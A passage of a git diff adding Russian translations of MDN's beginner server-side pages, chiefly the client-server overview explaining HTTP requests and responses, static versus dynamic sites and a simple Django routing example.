сайтов библиотек или других функций "большой библиотеки".</p> + +<h2 id="Я_застрял_где_я_могу_посмотреть_код">Я застрял, где я могу посмотреть код?</h2> + +<p><span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_0">По мере того, как вы работаете над учебником, мы предоставим вам соответствующие фрагменты кода для копирования и вставки в каждой точке, а также будет другой код, который, мы надеемся, вы расширите самостоятельно (с некоторыми рекомендациями).</span></p> + +<p>Если вы застряли, вы можете найти полностью разработанную версию вебсайта <a href="https://github.com/mdn/express-locallibrary-tutorial">на Github</a>.</p> + +<h2 id="Резюме">Резюме</h2> + +<p>Теперь, когда вы знаете немного больше о сайте <em>LocalLIbrary</em> и о том, что мы будем изучать, пришло время приступить к созданию <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">скелета проекта</a>, который будет использован в нашем сайте.</p> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs")}}</p> diff --git a/files/ru/learn/server-side/first_steps/client-server_overview/index.html b/files/ru/learn/server-side/first_steps/client-server_overview/index.html new file mode 100644 index 0000000000..7961d46a24 --- /dev/null +++ b/files/ru/learn/server-side/first_steps/client-server_overview/index.html @@ -0,0 +1,325 @@ +--- +title: Клиент-сервер +slug: Learn/Server-side/First_steps/Client-Server_overview +tags: + - Вступление + - Вступление + - Начинающий + - Начинающий + - Программирование на стороне сервера + - Программирование на стороне сервера + - Руководство + - Руководство + - Сервер + - Сервер + - Учить + - Учить +translation_of: Learn/Server-side/First_steps/Client-Server_overview +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div> + +<p class="summary">Теперь, когда вы знаете цель и потенциальные преимущества программирования на стороне сервера, мы подробно рассмотрим, что происходит, когда сервер получает «динамический запрос» от браузера. Поскольку большая часть серверного кода веб-сайта обрабатывает запросы и ответы аналогичным образом, это поможет вам понять, что нужно делать при написании большей части собственного кода.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Перед стартом:</th> + <td>Базовая компьютерная грамотность. Базовое понимание того, что такое веб-сервер.</td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Изучить взаимодействие между клиентом и сервером на динамическом веб-сайте и, в частности, узнать, какие действия нужно произвести в коде серверной части.</td> + </tr> + </tbody> +</table> + +<p>В обсуждении нет реального кода, поскольку мы ещё не выбрали, какой именно веб-фреймворк будем использовать для написания нашего кода! Тем не менее, это обсуждение всё ещё очень актуально, поскольку описанное поведение должно быть реализовано вашим серверным кодом независимо от того, какой язык программирования или веб-фреймворк вы выберите.</p> + +<h2 id="Веб-серверы_и_HTTP_для_начинающих">Веб-серверы и HTTP (для начинающих)</h2> + +<p>Веб-браузеры взаимодействуют с <a href="https://developer.mozilla.org/ru/docs/Learn/Common_questions/What_is_a_web_server">веб-серверами</a> при помощи протокола передачи гипертекста (<a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTTP">HTTP</a>). Когда вы кликаете на ссылку на странице, заполняете форму или производите поиск, браузер отправляет на сервер <em>HTTP-запрос</em>.</p> + +<p>Этот запрос включает:</p> + +<ul> + <li>Путь (URL), который определяет целевой сервер и ресурс (например, HTML-файл, конкретная точка данных на сервере или запускаемый инструмент).</li> + <li>Метод, который определяет необходимое действие (например, получить файл, сохранить или обновить какие-либо данные). Различные методы/команды и связанные с ними действия перечислены ниже: + <ul style="list-style-type: circle;"> + <li><code>GET</code> – получить определённый ресурс (например, HTML-файл, содержащий информацию о товаре или список товаров).</li> + <li><code>POST</code> – создать новый ресурс (например, добавить новую статью на вики, добавить новый контакт в базу данных).</li> + <li><code>HEAD</code> – получить метаданные об определённом ресурсе без получения содержания, как это делает запрос <code>GET</code>. Например, вы можете использовать запрос <code>HEAD</code>, чтобы узнать, когда ресурс в последний раз обновлялся, и только потом использовать (более «затратный») запрос <code>GET</code>, чтобы загрузить сам ресурс, если он был изменён.</li> + <li><code>PUT</code> – обновить существующий ресурс (или создать новый, если таковой не существует).</li> + <li><code>DELETE</code> – удалить определённый ресурс.</li> + <li><code>TRACE</code>, <code>OPTIONS</code>, <code>CONNECT</code>, <code>PATCH</code> – эти команды используются для менее популярных/более сложных задач, поэтому пока мы не будем их рассматривать.</li> + </ul> + </li> + <li>Дополнительная информация может быть закодирована в запросе (например, данные HTML-формы). Информация может быть закодирована как: + <ul style="list-style-type: circle;"> + <li>URL-параметры: <code>GET</code> запросы зашифровывают данные в URL-адресе, который отправляется на сервер, путём добавления пар имя/значение в его конец, например, <code>http://mysite.com<strong>?name=Fred&age=11</strong></code>. В этом случае всегда ставится знак вопроса (<code>?</code>), отделяющий основную часть URL-адреса от URL-параметров, знак равно (=), отделяющий каждое имя от соответствующего ему значения, и амперсанд (&), разделяющий пары. URL-параметры, по своей сути, «небезопасны», так как могут быть изменены пользователями и затем отправлены повторно. В результате, URL-параметры /<code>GET</code> запросы не используются для запросов, которые обновляют данные на сервере.</li> + <li><code>POST</code> данные. <code>POST</code> запросы добавляют новые ресурсы, данные которых зашифрованы в теле самого запроса.</li> + <li>Куки-файлы клиентской части. Куки-файлы содержат данные сессий о клиенте, включая ключи, которые сервер может использовать для определения статуса его авторизации и разрешения/права доступа к ресурсам.</li> + </ul> + </li> +</ul> + +<p>Веб-серверы ожидают сообщений с запросами от клиентов, обрабатывают их, когда они приходят и отвечают веб-браузеру через сообщение с HTTP-ответом. Ответ содержит <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Status">Код статуса HTTP-ответа</a>, который показывает, был ли запрос успешным (например, «<code>200 OK</code>» означает успех, «<code>404 Not Found</code>» если ресурс не может быть найден, «<code>403 Forbidden</code>», если пользователь не имеет права просматривать ресурс, и т. д.). Тело успешного ответа на запрос <code>GET</code> будет содержать запрашиваемый ресурс.</p> + +<p>После того как HTML-страница возвращена, она отрисовывается браузером. Во время этого браузер может обнаружить ссылки на другие ресурсы (например, HTML-страница обычно ссылается на JavaScript и CSS-файлы) и послать отдельные HTTP-запросы для загрузки этих файлов.</p> + +<p>Как статические, так и динамические веб-сайты (речь о которых идёт в следующих разделах) используют точно такой же протокол/шаблоны обмена данными.</p> + +<h3 id="Пример_GET_запросаответа">Пример GET запроса/ответа</h3> + +<p>Вы можете сформировать простой <code>GET</code> запрос кликнув по ссылке или через поиск по сайту (такой как страница поисковой системы). Например, HTTP-запрос, отправленный во время выполнения запроса "client server overview" на сайте MDN, будет во многом похож на текст ниже (он не будет идентичным, потому что части сообщения зависят от вашего браузера/настроек).</p> + +<div class="note"> +<p>Формат HTTP сообщения определён в «веб-стандарте» (<a href="http://www.rfc-editor.org/rfc/rfc7230.txt">RFC7230</a>). Вам не нужно знать этот уровень детализации, но, по крайней мере, теперь вы знаете, откуда это появилось!</p> +</div> + +<h4 id="Запрос">Запрос</h4> + +<p>Каждая строка запроса содержит информацию о запросе. Первая часть называется <strong>заголовок</strong> и содержит важную информацию о запросе, точно так же, как <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">HTML head</a> содержит важную информацию о HTML-документе (но не содержимое документа, которое расположено внутри тэга "body"):</p> + +<pre class="notranslate">GET https://developer.mozilla.org/en-US/search?q=client+server+overview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev HTTP/1.1 +Host: developer.mozilla.org +Connection: keep-alive +Pragma: no-cache +Cache-Control: no-cache +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Referer: https://developer.mozilla.org/en-US/ +Accept-Encoding: gzip, deflate, sdch, br +Accept-Language: en-US,en;q=0.8,es;q=0.6 +Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true +</pre> + +<p>Первая и вторая строки содержат большую часть информации, о которой говорилось выше:</p> + +<ul> + <li>Тип запроса (<code>GET</code>).</li> + <li>URL целевого ресурса (<code>/en-US/search</code>).</li> + <li>URL-параметры (<code>q=client%2Bserver%2Boverview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev</code>).</li> + <li>Целевой/хост-вебсайт (developer.mozilla.org).</li> + <li>Конец первой строки также содержит короткую строку, идентифицирующую версию протокола (<code>HTTP/1.1</code>).</li> +</ul> + +<p>Последняя строка содержит информацию о клиентских куки — в данном случае можно увидеть куки, включающие id для управления сессиями (<code>Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...</code>).</p> + +<p>Оставшиеся строки содержат информацию об используемом браузере и о видах ответов, которые он может обработать. Например, здесь вы можете увидеть:</p> + +<ul> + <li>Мой браузер (<code>User-Agent</code>) — Mozilla Firefox (<code>Mozilla/5.0</code>).</li> + <li>Он может принимать информацию, упакованную в gzip (<code>Accept-Encoding: gzip</code>).</li> + <li>Он может принимать указанные кодировки (<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>) и языков (<code>Accept-Language: de,en;q=0.7,en-us;q=0.3</code>).</li> + <li>Строка <code>Referer</code> идентифицирует адрес веб-страницы, содержащей ссылку на этот ресурс (то есть источник оригинального запроса, <code>https://developer.mozilla.org/en-US/</code>).</li> +</ul> + +<p>HTTP-запрос может также содержать body, но в данном случае этого нет.</p> + +<h4 id="Ответ">Ответ</h4> + +<p>Первая часть ответа на запрос показана ниже. Заголовок содержит следующую информацию:</p> + +<ul> + <li>Первая строка содержит код ответа <code>200 OK</code>, говорящий о том, что запрос выполнен успешно.</li> + <li>Мы можем видеть, что ответ имеет <code>text/html</code> формат (<code>Content-Type</code>).</li> + <li>Также мы видим, что ответ использует кодировку UTF-8 (<code>Content-Type: text/html; charset=utf-8</code>).</li> + <li>Заголовок также содержит длину ответа (<code>Content-Length: 41823</code>).</li> +</ul> + +<p>В конце сообщения мы видим содержимое <strong>body, </strong>содержащее HTML-код возвращаемого ответа.</p> + +<pre class="brush: html notranslate">HTTP/1.1 200 OK +Server: Apache +X-Backend-Server: developer1.webapp.scl3.mozilla.com +Vary: Accept,Cookie, Accept-Encoding +Content-Type: text/html; charset=utf-8 +Date: Wed, 07 Sep 2016 00:11:31 GMT +Keep-Alive: timeout=5, max=999 +Connection: Keep-Alive +X-Frame-Options: DENY +Allow: GET +X-Cache-Info: caching +Content-Length: 41823 + + + +<!DOCTYPE html> +<html lang="en-US" dir="ltr" class="redesign no-js" data-ffo-opensanslight=false data-ffo-opensans=false > +<head prefix="og: http://ogp.me/ns#"> + <meta charset="utf-8"> + <meta http-equiv="X-UA-Compatible" content="IE=Edge"> + <script>(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);</script> + ... +</pre> + +<p>Остальная часть заголовка ответа содержит информацию об ответе (например, когда он был сгенерирован), сервере и о том, как он ожидает, что браузер обработает страницу (например, строка <code>X-Frame-Options: DENY</code> говорит браузеру не допускать внедрения этой страницы, если она будет внедрена в {{htmlelement ("iframe")}} на другом сайте).</p> + +<h3 id="Пример_POST_запросаответа">Пример POST запроса/ответа</h3> + +<p>HTTP <code>POST</code> создаётся, когда вы отправляете форму, содержащую информацию, которая должна быть сохранена на сервере.</p> + +<h4 id="Запрос_2">Запрос</h4> + +<p>В приведённом ниже тексте показан HTTP-запрос, сделанный когда пользователь загружает новые данные профиля на этом сайте. Формат запроса почти такой же, как пример запроса <code>GET</code>, показанный ранее, хотя первая строка идентифицирует этот запрос как <code>POST</code>.</p> + +<pre class="brush: html notranslate">POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1 +Host: developer.mozilla.org +Connection: keep-alive +Content-Length: 432 +Pragma: no-cache +Cache-Control: no-cache +Origin: https://developer.mozilla.org +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Referer: https://developer.mozilla.org/en-US/profiles/hamishwillee/edit +Accept-Encoding: gzip, deflate, br +Accept-Language: en-US,en;q=0.8,es;q=0.6 +Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _ga=GA1.2.1688886003.1471911953; ffo=true + +csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&user-username=hamishwillee&user-fullname=Hamish+Willee&user-title=&user-organization=&user-location=Australia&user-locale=en-US&user-timezone=Australia%2FMelbourne&user-irc_nickname=&user-interests=&user-expertise=&user-twitter_url=&user-stackoverflow_url=&user-linkedin_url=&user-mozillians_url=&user-facebook_url=</pre> + +<p>Основное различие заключается в том, что URL-адрес не имеет параметров. Как вы можете видеть, информация из формы закодирована в теле запроса (например, новое полное имя пользователя устанавливается с использованием: <code>&user-fullname=Hamish+Willee</code>).</p> + +<h4 id="Ответ_2">Ответ</h4> + +<p>Ответ от запроса показан ниже. Код состояния «<code>302 Found</code>» сообщает браузеру, что сообщение обработано, и что необходим второй HTTP-запрос для загрузки страницы, указанной в поле <code>Location</code>. В остальном информация аналогична информации для ответа на запрос <code>GET</code> .</p> + +<pre class="brush: html notranslate">HTTP/1.1 302 FOUND +Server: Apache +X-Backend-Server: developer3.webapp.scl3.mozilla.com +Vary: Cookie +Vary: Accept-Encoding +Content-Type: text/html; charset=utf-8 +Date: Wed, 07 Sep 2016 00:38:13 GMT +Location: https://developer.mozilla.org/en-US/profiles/hamishwillee +Keep-Alive: timeout=5, max=1000 +Connection: Keep-Alive +X-Frame-Options: DENY +X-Cache-Info: not cacheable; request wasn't a GET or HEAD +Content-Length: 0 +</pre> + +<div class="note"> +<p><strong>На заметку</strong>: HTTP-ответы и запросы, показанные в этих примерах, были захвачены с помощью приложения <a href="https://www.telerik.com/download/fiddler">Fiddler</a>, но вы можете получить аналогичную информацию с помощью веб-снифферов (например, <a href="http://web-sniffer.net/">http://web-sniffer.net/</a>) или с помощью расширений браузера, таких как HttpFox. Вы можете попробовать это сами. Воспользуйтесь любым из предложенных инструментов, а затем перейдите по сайту и отредактируйте информацию профиля, чтобы увидеть различные запросы и ответы. В большинстве современных браузеров также есть инструменты, которые отслеживают сетевые запросы (например, инструмент <a href="https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor">Network Monitor</a> в Firefox).</p> +</div> + +<h2 id="Статические_сайты">Статические сайты</h2> + +<p><em>Статический сайт</em> — это тот, который возвращает тот же жёсткий кодированный контент с сервера всякий раз, когда запрашивается конкретный ресурс. Например, если у вас есть страница о товаре в <code>/static/myproduct1.html</code>, эта же страница будет возвращена каждому пользователю. Если вы добавите ещё один подобный товар на свой сайт, вам нужно будет добавить ещё одну страницу (например, <code>myproduct2.html</code>) и так далее. Это может стать действительно неэффективным — что происходит, когда вы попадаете на тысячи страниц товаров? Вы повторяли бы много кода на каждой странице (основной шаблон страницы, структуру и т. д.), И если бы вы захотели изменить что-либо в структуре страницы — например, добавить новый раздел «связанные товары» — тогда вам придётся менять каждую страницу отдельно.</p> + +<div class="note"> +<p><strong>На заметку</strong>: Статические сайты превосходны, когда у вас небольшое количество страниц и вы хотите отправить один и тот же контент каждому пользователю. Однако их обслуживание может потребовать значительных затрат по мере увеличения количества страниц.</p> +</div> + +<p>Давайте вспомним, как это работает, снова взглянув на диаграмму архитектуры статического сайта, на которую мы смотрели в последней статье.</p> + +<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png"></p> + +<p>Когда пользователь хочет перейти на страницу, браузер отправляет HTTP-запрос <code>GET</code> с указанием URL-адреса его HTML-страницы. Сервер извлекает запрошенный документ из своей файловой системы и возвращает HTTP-ответ, содержащий документ и код состояния <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status">HTTP Response status code</a> <code>200 OK</code> (успех). Сервер может вернуть другой код состояния, например, «<code>404 Not Found</code>», если файл отсутствует на сервере или «<code>301 Moved Permanently</code>», если файл существует, но был перемещён в другое место.</p> + +<p>Серверу для статического сайта нужно будет только обрабатывать GET-запросы, потому что сервер не сохраняет никаких модифицируемых данных. Он также не изменяет свои ответы на основе данных HTTP-запроса (например, URL-параметров или файлов cookie).</p> + +<p>Понимание того, как работают статические сайты, тем не менее полезно при изучении программирования на стороне сервера, поскольку динамические сайты точно так же обрабатывают запросы для статических файлов (CSS, JavaScript, статические изображения и т. д.).</p> + +<h2 id="Динамические_сайты">Динамические сайты</h2> + +<p><em>Динамический сайт</em> — это тот, который может генерировать и возвращать контент на основе конкретного URL-адреса запроса и данных (а не всегда возвращать один и тот же жёсткий код для определённого URL-адреса). Используя пример сайта товара, сервер будет хранить «данные» товара в базе данных, а не отдельные HTML-файлы. При получении <code>GET</code>-запроса для товара сервер определяет идентификатор товара, извлекает данные из базы данных и затем создаёт HTML-страницу для ответа, вставляя данные в HTML-шаблон. Это имеет большие преимущества перед статическим сайтом:</p> + +<p>Использование базы данных позволяет эффективно хранить информацию о товаре с помощью легко расширяемого, изменяемого и доступного для поиска способа.</p> + +<p>Использование HTML-шаблонов позволяет очень легко изменить структуру HTML, потому что это нужно делать только в одном месте, в одном шаблоне, а не через потенциально тысячи статических страниц.</p> + +<h3 id="Анатомия_динамического_запроса">Анатомия динамического запроса</h3> + +<p>В этом разделе представлен пошаговый обзор «динамического» цикла HTTP-запроса и ответа, основываясь на том, что мы рассмотрели в последней статье, с гораздо более подробной информацией. Чтобы не отдаляться от практики, мы будем использовать контекст веб-сайта менеджера спортивной команды, где тренер может выбрать имя своей команды и размер команды в HTML-форме и вернуться к предлагаемому «лучшему составу» для своей следующей игры.</p> + +<p>На приведённой ниже диаграмме показаны основные элементы веб-сайта «team coach», а также пронумерованные ярлыки для последовательности операций, когда тренер обращается к списку «лучших команд». Частями сайта, которые делают его динамичным, являются <em>веб-приложение</em> (так мы будем ссылаться на серверный код, обрабатывающий HTTP-запросы и возвращающие HTTP-ответы), <em>база данных</em>, которая содержит информацию об игроках, командах, тренерах и их отношениях, и <em>HTML-шаблоны</em>.</p> + +<p><img alt="This is a diagram of a simple web server with step numbers for each of step of the client-server interaction." src="https://mdn.mozillademos.org/files/13829/Web%20Application%20with%20HTML%20and%20Steps.png" style="height: 584px; width: 1226px;"></p> + +<p>После того, как тренер отправит форму с именем команды и количеством игроков, последовательность операций будет следующей:</p> + +<ol> + <li>Веб-браузер отправит HTTP-запрос <code>GET</code> на сервер с использованием базового URL-адреса ресурса (<code>/best</code>) и кодирования номера команды и игрока в форме URL-параметров (например, <code>/best?team=my_team_name&show=11)</code> или как часть URL-адреса (например, <code>/best/my_team_name/11/</code>). Запрос <code>GET</code> используется, потому что речь идёт только о запросе выборки данных (а не об их изменении).</li> + <li><em>Веб-сервер</em> определяет, что запрос является «динамическим» и пересылает его в <em>веб-приложение</em> для обработки (веб-сервер определяет, как обрабатывать разные URL-адреса на основе правил сопоставления шаблонов, определённых в его конфигурации).</li> + <li><em>Веб-приложение</em> определяет, что цель запроса состоит в том, чтобы получить «лучший список команд» на основе URL (<code>/best/</code>) и узнать имя команды и количество игроков из URL-адреса. Затем <em>веб-приложение</em> получает требуемую информацию из базы данных (используя дополнительные «внутренние» параметры, чтобы определить, какие игроки являются «лучшими», и, возможно, определяя личность зарегистрированного тренера из файла cookie на стороне клиента).</li> + <li><em>Веб-приложение</em> динамически создаёт HTML-страницу, помещая данные (из <em>базы данных</em>) в заполнители внутри HTML-шаблона.</li> + <li><em>Веб-приложение</em> возвращает сгенерированный HTML в веб-браузер (через <em>веб-сервер</em>) вместе с кодом состояния HTTP 200 («успех»). Если что-либо препятствует возврату HTML, <em>веб-приложение</em> вернёт другой код, например, «404», чтобы указать, что команда не существует.</li> + <li>Затем веб-браузер начнёт обрабатывать возвращённый HTML, отправив отдельные запросы, чтобы получить любые другие файлы CSS или JavaScript, на которые он ссылается (см. шаг 7).</li> + <li>Веб-сервер загружает статические файлы из файловой системы и возвращает их непосредственно в браузер (опять же, правильная обработка файлов основана на правилах конфигурации и сопоставлении шаблонов URL).</li> +</ol> + +<p>Операция по обновлению записи в базе данных будет обрабатываться аналогичным образом, за исключением того, что, как и любое обновление базы данных, HTTP-запрос из браузера должен быть закодирован как запрос <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">POST</span></font>.</p> + +<h3 id="Выполнение_другой_работы">Выполнение другой работы</h3> + +<p>Задача <em>веб-приложения</em> — получать HTTP-запросы и возвращать HTTP-ответы. Хотя взаимодействие с базой данных для получения или обновления информации является очень распространённой задачей, код может делать другие вещи одновременно или вообще не взаимодействовать с базой данных.</p> + +<p>Хорошим примером дополнительной задачи, которую может выполнять <em>веб-приложение</em>, является отправка электронной почты пользователям для подтверждения их регистрации на сайте. Сайт также может выполнять протоколирование или другие операции.</p> + +<h3 id="Возвращение_чего-то_другого_кроме_HTML">Возвращение чего-то другого, кроме HTML</h3> + +<p>Серверный код сайта может возвращать не только HTML-фрагменты и файлы в ответе. Он может динамически создавать и возвращать другие типы файлов (текст, PDF, CSV и т. д.) или даже данные (JSON, XML и т. д.).</p> + +<p>Идея вернуть данные в веб-браузер, чтобы он мог динамически обновлять свой собственный контент ({{glossary("AJAX")}}) существует довольно давно. Совсем недавно «Одностраничные приложения» стали популярными, где весь сайт написан с одним HTML-файлом, который динамически обновляется по мере необходимости. Веб-сайты, созданные с использованием приложений такого рода, переносят большие вычислительные затраты с сервера на веб-браузер и приводят к тому, что веб-сайты, ведут себя больше как нативные приложения (очень отзывчивые и т. д.).</p> + +<h2 id="Веб-фреймворки_упрощают_веб-программирование_на_стороне_сервера">Веб-фреймворки упрощают веб-программирование на стороне сервера</h2> + +<p>Веб-фреймворки на стороне сервера делают написание кода для обработки описанных выше операций намного проще.</p> + +<p>Одной из наиболее важных операций, которые они выполняют, является предоставление простых механизмов для сопоставления URL-адресов для разных ресурсов/страниц с конкретными функциями обработчика. Это упрощает сохранение кода, связанного с каждым типом ресурса, отдельно от остального. Это также имеет преимущества с точки зрения обслуживания, поскольку вы можете изменить URL-адрес, используемый для доставки определённой функции в одном месте, без необходимости изменять функцию обработчика.</p> + +<p>Для примера рассмотрим следующий код Django (Python), который связывает два URL-шаблона с двумя функциями просмотра. Первый шаблон проверяет, что HTTP-запрос с URL-адресом ресурса <code>/best</code> будет передан функции с именем <code>index()</code> в модуле <code>views</code>. Запрос, который имеет шаблон «<code>/best/junior</code>», вместо этого будет передан функции просмотра <code>junior()</code>.</p> + +<pre class="brush: python notranslate"># file: best/urls.py +# + +from django.conf.urls import url + +from . import views + +urlpatterns = [ + # example: /best/ + url(r'^$', views.index), + # example: /best/junior/ + url(r'^junior/$', views.junior), +]</pre> + +<div class="note"> +<p><strong>На заметку</strong>: Первые параметры в функциях <code>url()</code> могут выглядеть немного необычно (например, <code>r'^junior/$'</code>, потому что они используют метод сопоставления шаблонов под названием «регулярные выражения» (RegEx или RE). Вам не нужно знать, как работают регулярные выражения на этом этапе, кроме того, что они позволяют нам сопоставлять шаблоны в URL-адресе (а не жёстко закодированные значения выше) и использовать их в качестве параметров в наших функциях просмотра. В качестве примера, действительно простой RegEx может говорить «соответствовать одной заглавной букве, за которой следуют от 4 до 7 строчных букв».</p> +</div> + +<p>Веб-фреймворк также упрощает функцию просмотра для получения информации из базы данных. Структура наших данных определяется в моделях, которые являются классами Python, которые определяют поля, которые должны храниться в основной базе данных. Если у нас есть модель с именем <em>Team</em> с полем «<em>team_type</em>», мы можем использовать простой синтаксис запроса, чтобы получить все команды, имеющие определённый тип.</p> + +<p>В приведённом ниже примере представлен список всех команд, у которых есть точный (с учётом регистра) <code>team_type</code> «junior» («младший») — обратите внимание на формат: имя поля (<code>team_type</code>), за которым следует двойной знак подчёркивания, а затем тип соответствия для использования (в этом случае <code>exact</code> («точное»)). Существует много других типов соответствия, и мы можем объединить их. Мы также можем контролировать порядок и количество возвращаемых результатов.</p> + +<pre class="brush: python notranslate">#best/views.py + +from django.shortcuts import render + +from .models import Team + + +def junior(request): + list_teams = Team.objects.filter(team_type__exact="junior") + context = {'list': list_teams} + return render(request, 'best/index.html', context) +</pre> + +<p>После того, как функция <code>junior()</code> получает список младших команд, она вызывает функцию <code>render()</code>, передавая исходный <code>HttpRequest</code>, HTML-шаблон и объект «context», определяющий информацию, которая должна быть включена в шаблон. Функция <code>render()</code> — это функция удобства, которая генерирует HTML с использованием контекста и HTML-шаблона и возвращает его в объект <code>HttpResponse</code>.</p> + +<p>Очевидно, что веб-фреймворки могут помочь вам в решении многих других задач. В следующей статье мы обсудим намного больше преимуществ и некоторые популярные варианты веб-фреймворков.</p> + +<h2 id="Резюме">Резюме</h2> + +<p>На этом этапе вы должны хорошо ознакомиться с операциями, которые должен выполнять серверный код, и знать некоторые способы, с помощью которых веб-фреймворк на стороне сервера может сделать это проще.</p> + +<p>В следующем модуле мы поможем вам выбрать лучший веб-фреймворк для вашего первого сайта.</p> + +<p>{{PreviousMenuNext ("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p> diff --git a/files/ru/learn/server-side/first_steps/index.html b/files/ru/learn/server-side/first_steps/index.html new file mode 100644 index 0000000000..91512b5957 --- /dev/null +++ b/files/ru/learn/server-side/first_steps/index.html @@ -0,0 +1,49 @@ +--- +title: Первые шаги в программировании веб-сайтов на стороне сервера +slug: Learn/Server-side/First_steps +tags: + - Beginner + - CodingScripting + - Guide + - Intro + - Landing + - Learn + - NeedsTranslation + - Server-side programming + - TopicStub +translation_of: Learn/Server-side/First_steps +--- +<div>{{LearnSidebar}}</div> + +<p>В этом модуле, посвященном программированию на стороне сервера, мы ответим на несколько фундаментальных вопросов о программировании серверной части: «что это такое?», «чем оно отличается от программирования клиентской части?» и «почему оно так полезно?». Затем последует обзор некоторых самых популярных веб-фреймворков для серверной части и руководство по выбору наиболее подходящего фреймворка для создания вашего первого сайта. Наконец, мы завершим этот модуль вводной статьей о безопасности веб-сервера.</p> + +<h2 id="Прежде_чем_начать">Прежде чем начать</h2> + +<p>Для того, чтобы начать этот модуль, вам не нужно иметь никаких знаний о программировании серверной части или даже о любом виде программирования.</p> + +<p>Вам нужно понимать "как работает веб". Мы рекомендуем вам сперва прочесть следующие темы:</p> + +<ul> + <li><a href="/ru/docs/Learn/Common_questions/What_is_a_web_server">Что такое веб-сервер</a></li> + <li><a href="/ru/docs/Learn/Common_questions/What_software_do_I_need">Какое программное обеспечение мне нужно для создания сайта?</a></li> + <li><a href="/ru/docs/Learn/Common_questions/Upload_files_to_a_web_server">Как загружать файлы на веб-сервер?</a></li> +</ul> + +<p>С этими базовыми знаниями вы будете готовы работать с модулями этого раздела.</p> + +<h2 id="Руководства">Руководства</h2> + +<dl> + <dt><a href="/ru/docs/Learn/Server-side/First_steps/Introduction">Введение в серверную часть</a></dt> + <dd>Добро пожаловать на курс программирования серверной части MDN для начинающих! В этой первой статье мы посмотрим на программирование серверной части на высоком уровне, отвечая на вопросы такие как: "что это такое?", "чем оно отличается от программирования клиентской части?" и "почему это настолько востребовано?". После прочтения этой статьи вы будуте понимать всю дополнительную мощь, доступную веб-сайтам посредством программирования на стороне сервера.</dd> + <dt><a href="/ru/docs/Learn/Server-side/First_steps/Client-Server_overview">Обзор Клиент-Сервера</a></dt> + <dd>Теперь, когда вы познакомились с целью и потенциальными преимуществами программирования серверной части, мы собираемся узнать в подробностях, что случится, когда сервер получит "динамический запрос" от браузера. Так как большинство программ серверной части обрабатывает запросы и ответы практически одинаково, это поможет вам понять, что нужно делать при написании собственного кода.</dd> + <dt><a href="/ru/docs/Learn/Server-side/First_steps/Web_frameworks">Фреймворки серверной части</a></dt> + <dd>Последняя статья рассказывает о том, что нужно делать веб-приложению серверной стороны для ответа на запросы от веб-браузера. Мы покажем здесь, как веб-фреймворки могут упростить эти задачи и поможем вам подобрать подходящий фреймворк для вашего первого серверного веб-приложения.</dd> + <dt><a href="/ru/docs/Learn/Server-side/First_steps/Website_security">Безопасность веб-сайта</a></dt> + <dd>Безопасность веб-сайта требует бдительности на всех этапах проектирования сайта и его использования. Эта вводная статья не сделает из вас гуру безопасности сайтов, но поможет узнать, какие первые важные шаги вы можете предпринять для повышения устойчивости вашего веб-приложения против наиболее распространенных угроз.</dd> +</dl> + +<h2 id="Аттестация">Аттестация</h2> + +<p>Этот "обзорный" модуль не содержит никакой аттестации, поскольку мы даже не прилагаем здесь для вас никакого кода. Мы действительно надеемся, что на текущем этапе у вас сформировалось четкое понимание того, какие виды функционала вы можете предоставить, используя программирование на стороне сервера, и вы уже приняли решение по поводу фреймворка, который вы будете использовать для создания вашего первого сайта.</p> diff --git a/files/ru/learn/server-side/first_steps/introduction/index.html b/files/ru/learn/server-side/first_steps/introduction/index.html new file mode 100644 index 0000000000..967d1157a7 --- /dev/null +++ b/files/ru/learn/server-side/first_steps/introduction/index.html @@ -0,0 +1,217 @@ +--- +title: Введение в серверную часть +slug: Learn/Server-side/First_steps/Introduction +tags: + - Бэкенд + - 